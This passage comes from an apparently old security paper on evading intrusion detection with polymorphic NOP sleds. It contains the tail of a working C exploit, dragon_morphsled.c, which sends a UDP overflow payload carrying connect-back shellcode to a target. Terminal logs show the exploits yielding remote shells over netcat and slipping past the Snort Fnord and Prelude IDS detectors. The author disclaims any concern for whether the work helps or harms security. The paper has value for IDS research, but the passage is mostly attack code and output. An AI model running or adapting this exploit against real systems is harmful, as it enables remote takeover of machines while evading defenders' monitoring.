        top = nop_size - 3;
        leap = 1;

        srand(time(NULL));

        for (x = 0; x < nop_size; x++) {
                y= rand()%IA32_JUNKS;

                if (!intel_njunk[y].noppad) {
                        x--;
                        continue;
                }

                *(payload+x) = *(intel_njunk[y].code);
        }

        srand(time(NULL)*getpid());
        noplen = 0;

        while (top > 0) {
                noplen = rand()%20;
                top -= noplen;

                y = rand()%48;

                if ((top + jump_arg[y]) < nop_size) {
                        *(payload+top) = 0xeb;
                        *(payload+top+1) = jump_arg[y];

                        noplen = 0;
                }
                else {
                        top += noplen;
                        continue;
                }
        }
}

struct sockaddr_in get_localaddr(struct sockaddr_in saddr) {
        int sockr, len, on = 1;
        struct sockaddr_in dest;
        struct sockaddr_in iface;

        memset(&iface, 0, sizeof(iface));
        memcpy(&dest, &saddr, sizeof(struct sockaddr_in));

        dest.sin_port = htons(11111);

        sockr = socket(AF_INET, SOCK_DGRAM, 0);

        if (setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))
                        == -1) {
                printf("getsockopt error\n");
                exit(1);
        }

        if (connect(sockr, (struct sockaddr *)&dest,
                        sizeof(struct sockaddr_in)) == -1) {
                printf("connect error\n");
                exit(1);
        }

        len = sizeof(iface);

        if (getsockname(sockr, (struct sockaddr *)&iface, &len) == -1)
{
                printf("getsockname error\n");
                exit(1);
        }

        close(sockr);

        return iface;
}

int main(int argc, char *argv[]) {
        struct morphctl *mctlp;
        struct morphctl mut;
        int s, ret_adj, nops, x;
        struct sockaddr_in saddr, caddr;
        char payload[PAYLOAD_LENGTH+1];
        long ret_addr;

        if (argc < 2) {
                printf( "./dragon_morphslide "
                        "<target ip> [ret adjustment]\n");
                exit(1);
        }

        if (strstr(argv[1], "255") != NULL) {
                printf("invalid ip address\n");
                exit(1);
        }

        if (argc > 2)
                ret_adj = atoi(argv[2]);
        else
                ret_adj = 0;

        mut.upper = mut.lower = 0;
        mut.banned = NULL;
        mctlp = &mut;
        mut.arch = IA32_SLIDE;

        saddr.sin_family = PF_INET;
        saddr.sin_port = htons(1986);
        inet_aton(argv[1], &saddr.sin_addr);

        caddr = get_localaddr(saddr);

        nops = 1024 - sizeof(shellcode);
        memcpy(shellcode+24, &caddr.sin_addr, 4);

        shellcode[24] ^= 255;
        shellcode[25] ^= 255;
        shellcode[26] ^= 255;
        shellcode[27] ^= 255;

        ret_addr = BASE_RET + ret_adj;

        printf("using ret addr: %p\n", ret_addr);

        memset(payload, 0x90, PAYLOAD_LENGTH);
        memcpy(payload+nops, shellcode, sizeof(shellcode) - 1);

        for (x = 0; x < (PAYLOAD_LENGTH-1024); x += 4)
                *((long *) &payload[1024 + x]) = ret_addr;

        payload[PAYLOAD_LENGTH] = '\0';

        init_mutate(mctlp);
        apply_key(payload, strlen(shellcode), nops-1, mctlp);
        apply_engine(payload, strlen(shellcode), nops-1, mut);

        for (x = 0; (unsigned char) payload[x] == 0x90; x++);

        jump_slide(payload, x-1);

        if ((s = socket(PF_INET, SOCK_DGRAM, 0)) == -1) {
                perror("socket");
                exit(1);
        }

        if (sendto(s, payload, PAYLOAD_LENGTH, 0, (struct sockaddr *)

                        &saddr, sizeof(saddr)) == -1) {
                perror("sendto");
                close(s);
                exit(1);
        }

        close(s);
}
/* END dragon_morphsled.c */

- --------
satyr$ gcc -o dragon_morphsled dragon_morphsled.c ADMmuteng.o
satyr$ ./dragon_morphsled 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

halo# ./nidsfindshellcode -d bce0
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna () ngsec com>
Next Generation Security Technologies
http://www.ngsec.com

- --------

So our final exploit was successful and we remain undetected. We have
created a polymorphic payload that will run successfully 100% of the
time while remaining hidden from the NIDSfindshellcode tool and the detection
technique it uses. All that is left is the need to consider what steps
an IDS researcher may take to counteract the evasion techniques presented
above.

- ------------------------------------
- ---- Future ------------------------

Let us consider the final evasion technique displayed in dragon_morphsled.
At first glance there is only one element that is stopping Serna's method
from working, that being the introduction of a jump operation. If we
were to treat the jump opcode used (0xeb) as a junk nop then the sled
would be detected as normal.

There are two counter arguments to this. Firstly, adding the jump opcode
to the list of junk nops would indeed detect dragon_morphsled, but dragon_nopjump
would remain undetected, provided the jump calls were numerous enough
and that their argument was not in the list of valid nops. This does
of course introduce the possibility for first-time failure of the exploit,
 but depending on the circumstance this would not be a significant downfall.

The second argument lies in the fact that the jumps could be replaced
by any number of 2 or even 3 byte operations, provided that the operation
has no effect or that the effect is reversable by another suitable operation
somewhere in the sled. Some might claim that this is no better, that
these new operations could be added to the list of junk opcodes. The
problem with doing this lies in the sheer number of possible operations
suitable for the technique. Simply put, to add all of these to the list
of junk opcodes would cause an unacceptable level of false positives.

- ------------------------------------
- ---- Thoughts ----------------------

Being of an entirely detached and unsympathetic nature I did not release
this paper for any one particular purpose. What I mean in saying this
is that I was not in the least interested in how the aforementioned techniques
would affect security. For good or bad, whatever they might be, it doesn't
really matter. What is important, at least to me, is the continual flow
of ideas. As I see it, releasing this paper is an investment in future
ideas from which I myself (and perhaps others in the world) may benefit.

- ------------------------------------
- ---- Appendix ----------------------

In March 2002, Dragos Ruiu released the Snort preprocessor "Fnord" designed
to add polymorphic shellcode detection to the Snort IDS. The following
is a short test of Fnord's capabilities against the techniques described
above.

- --------
halo# ./snort -V
- -*> Snort! <*-
Version 2.2.0 (Build 30)
By Martin Roesch (roesch () sourcefire com, www.snort.org)
halo# cat /usr/pkg/etc/snort/snort.conf | grep fnord
preprocessor fnord
halo# snort -A console -c /usr/pkg/etc/snort/snort.conf 2> /dev/null

satyr$ ./dragon_polymorph 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

halo# snort -A console -c /usr/pkg/etc/snort/snort.conf 2> /dev/null
09/30-10:37:13.958554  [**] [114:1:1] spp_fnord: Possible Mutated IA32
NOP
sled detected. [**] {UDP} 192.168.0.2:2061 -> 192.168.0.5:1986
- --------

We can see from this that Fnord successfully detected a traditional polymorphic
attack. Lets now try the techniques developed in this paper.

- --------
satyr$ ./dragon_jumpslide 192.168.0.5 1 2> /dev/null
using ret addr: 0xbfbfd1f1
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

satyr$ ./dragon_nopjump 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satry$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

satyr$ ./dragon_morphsled 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

halo# snort -A console -c /usr/pkg/etc/snort/snort.conf 2> /dev/null

- --------

All three exploits were successful in evading Snort's Fnord polymorphic
detecton capabilities.

The Prelude Hybrid IDS contains a plugin for the detection of polymorphic
shellcode. The following is a short test of Prelude Hybrid's capabilities
against the techniques described above.

- --------
halo# prelude-manager --version | grep manager
prelude-manager 0.8.10
halo# grep Shellcode /usr/local/etc/prelude-nids/prelude-nids.conf
[Shellcode]
halo# prelude-nids -i bce0 -d
- - Initialized 3 protocols plugins.
- - Initialized 5 detections plugins.

Daemon started, PID is 14885
halo#

satyr$ ./dragon_polymorph 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

halo# grep IA32 /var/log/prelude.log
* Classification: IA32 shellcode found
halo#

- --------

Prelude Hybrid IDS successfully identified the traditonal polymorphic
attack payload. Lets now try the techniques developed in this paper.

- --------
satyr$ ./dragon_jumpslide 192.168.0.5 1 2> /dev/null
using ret addr: 0xbfbfd1f1
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

satyr$ ./dragon_nopjump 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satry$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

satyr$ ./dragon_morphsled 192.168.0.5 2> /dev/null
using ret addr: 0xbfbfd1f0
satyr$

satyr$ nc -l -p 35748
uname -msr
NetBSD 1.6.2_STABLE i386
exit
satyr$

halo# grep IA32 /var/log/prelude.log
halo#
- --------

All three exploits were successful in evading Prelude Hybrid's polymorphic
detecton capabilities.

- ------------------------------------
- ---- Reference ---------------------

[1] "Polymorphic Shellcode Engine"
        http://www.phrack.org/show.php?p=61&a=9
[2] "Polymorphic Shellcodes vs. Application IDSs"
        http://www.ngsec.com/ngresearch/ngwhitepapers/
[3] "Fnord Snort Preprocessor"
        http://www.cansecwest.com/spp_fnord.c
[4] "Prelude Hybrid IDS"
        http://www.prelude-ids.org
[5] "ADMmutate Engine"
        http://www.ktwo.ca/ADMmutate-0.8.4.tar.gz

- ------------------------------------

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